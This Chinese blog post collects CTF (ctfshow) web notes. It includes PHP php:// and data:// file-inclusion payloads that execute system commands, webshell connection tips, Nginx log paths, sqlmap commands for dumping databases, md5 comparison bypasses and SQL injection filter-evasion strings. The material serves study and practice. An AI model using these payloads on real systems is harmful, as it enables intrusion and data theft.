当前位置: 首页 > news >正文

ctfshow——web(总结持续更新)

文章目录

  • 1、基础知识部分
  • 2、php伪协议
    • 2.1 php://input协议
    • 2.2 data://text/plain协议
  • 3、webshell连接工具
    • 3.1 蚁剑连接一句话木马
  • 4、各个web中间件重要文件路径
    • 4.1 Nginx
  • 5、sqlmap使用
  • 6、php特性
    • 6.1 md5加密漏洞
  • 7、TOP 10漏洞
    • 7.1 SQL注入

1、基础知识部分

  1. 识别base64编码:大小写+数字,偶尔最后几位是= or ++

2、php伪协议

2.1 php://input协议

关于php://input,简单来说:当php://inputinclude连用时,数据包中的post字段将会当做php代码执行。

# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>  

2.2 data://text/plain协议

关于data://text/plain,简单来说:当data://text/plaininclude连用时,data://text/plain后面接着的数据会被当做php代码执行。

?url=data://text/plain,<?php system('ls');?> # 
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式

3、webshell连接工具

3.1 蚁剑连接一句话木马

如果蚁剑报错:unable_to_verify_leaf_signature,是证书的原因,目前的解决方法是将URL中的https改为http。
在这里插入图片描述

4、各个web中间件重要文件路径

4.1 Nginx

# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径

5、sqlmap使用

sqlmap常用命令:

python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数

6、php特性

6.1 md5加密漏洞

  1. md50e漏洞:就是说在使用md5()==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。
  2. 当使用md5()===进行变量对比的时候, 使用数组可以绕过md5()函数的检测。
  3. md5 true参数漏洞
    md5($string, true)ffifdyop129581926211651571912466741651878684928可以得到'or'结构的字符串。

7、TOP 10漏洞

7.1 SQL注入

SQL注入常见的测试方法就是:

  • 在参数后面加个',看返回包是否报错;
  • 使用万能密码1' or 1=1 --+,看返回包有没有反应。

登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。

SQL注入绕过:
1、空格被过滤

# 空格被过滤
username=1'or(true)#  # 用(true)代替1=1
username=1'/**/or/**/1=1/**/#  # 用内联注释(/**/)代替空格##经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/#      正常返回
id=1'/**/and/**/1=2/**/#      数据未返回,存在SQL注入##或者
id=1'/**/and/**/(true)/**/#      正常返回
id=1'/**/and/**/(false)/**/#      数据未返回,存在SQL注入##或者
id=1'/**/or/**/(false)#  返回一条数据
id=1'/**/or/**/(true)#  返回当前表里的所有数据

2、单引号被过滤

# 单引号被过滤
双引号代替单引号

3、with rollup(虚拟表)绕过

# with rollup(虚拟表)绕过
group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。

在这里插入图片描述


http://www.mrgr.cn/news/64812.html

相关文章:

  • MathType在Word中的安装与配置记录
  • hivt实战
  • Elasticsearch 实战应用详解!
  • 如何在 React 前端使用 Input 输入框的样式上传一个 Excel 文件,并读取文件内容转成 json 数据格式(对象数组)
  • 《欢乐饭米粒儿9》第五期:用笑声诠释生活,让爱成为日常
  • AMD显卡低负载看视频掉驱动(chrome edge浏览器) 高负载玩游戏却稳定 解决方法——关闭MPO
  • 将分类标签转换为模型可以处理的数值格式
  • 计算机网络串联——打开网站的具体步骤
  • Linux 进程间通信 共享内存_消息队列_信号量
  • 提高交换网络可靠性之端口安全配置
  • windows rdp 将远程技术嵌入到你的软件——未来之窗行业应用跨平台架构
  • 第四次:2024年郑州马拉松赛事记
  • 什么是三大范式, 为什么要有三大范式, 什么场景下不用遵循三大范式
  • 《GBDT 算法的原理推导》 11-15更新决策树的叶子节点值 公式解析
  • Linux内核编程(十八)ADC驱动
  • 深入解析RSA算法:加密与安全性
  • Spring DispatcherServlet详解
  • 在vue中 什么是slot机制,如何使用以及使用场景详细讲解
  • JWT 是什么?JWT 如何防篡改?JWT 使用【hutools 工具包】
  • python爬虫之JS逆向入门,了解JS逆向的原理及用法(18)
  • 003 配置网络
  • springBoot动态加载jar,将类注册到IOC
  • 【数据分析】怎么提升GMV
  • df_new_last.iloc[:,-1]与df_new_last.iloc[:,:-1]
  • Redis 的使⽤和原理
  • IT运维的365天--018 如何在内网布置一个和外网同域名的网站,并开启SSL(https访问),即外网证书如何在内网使用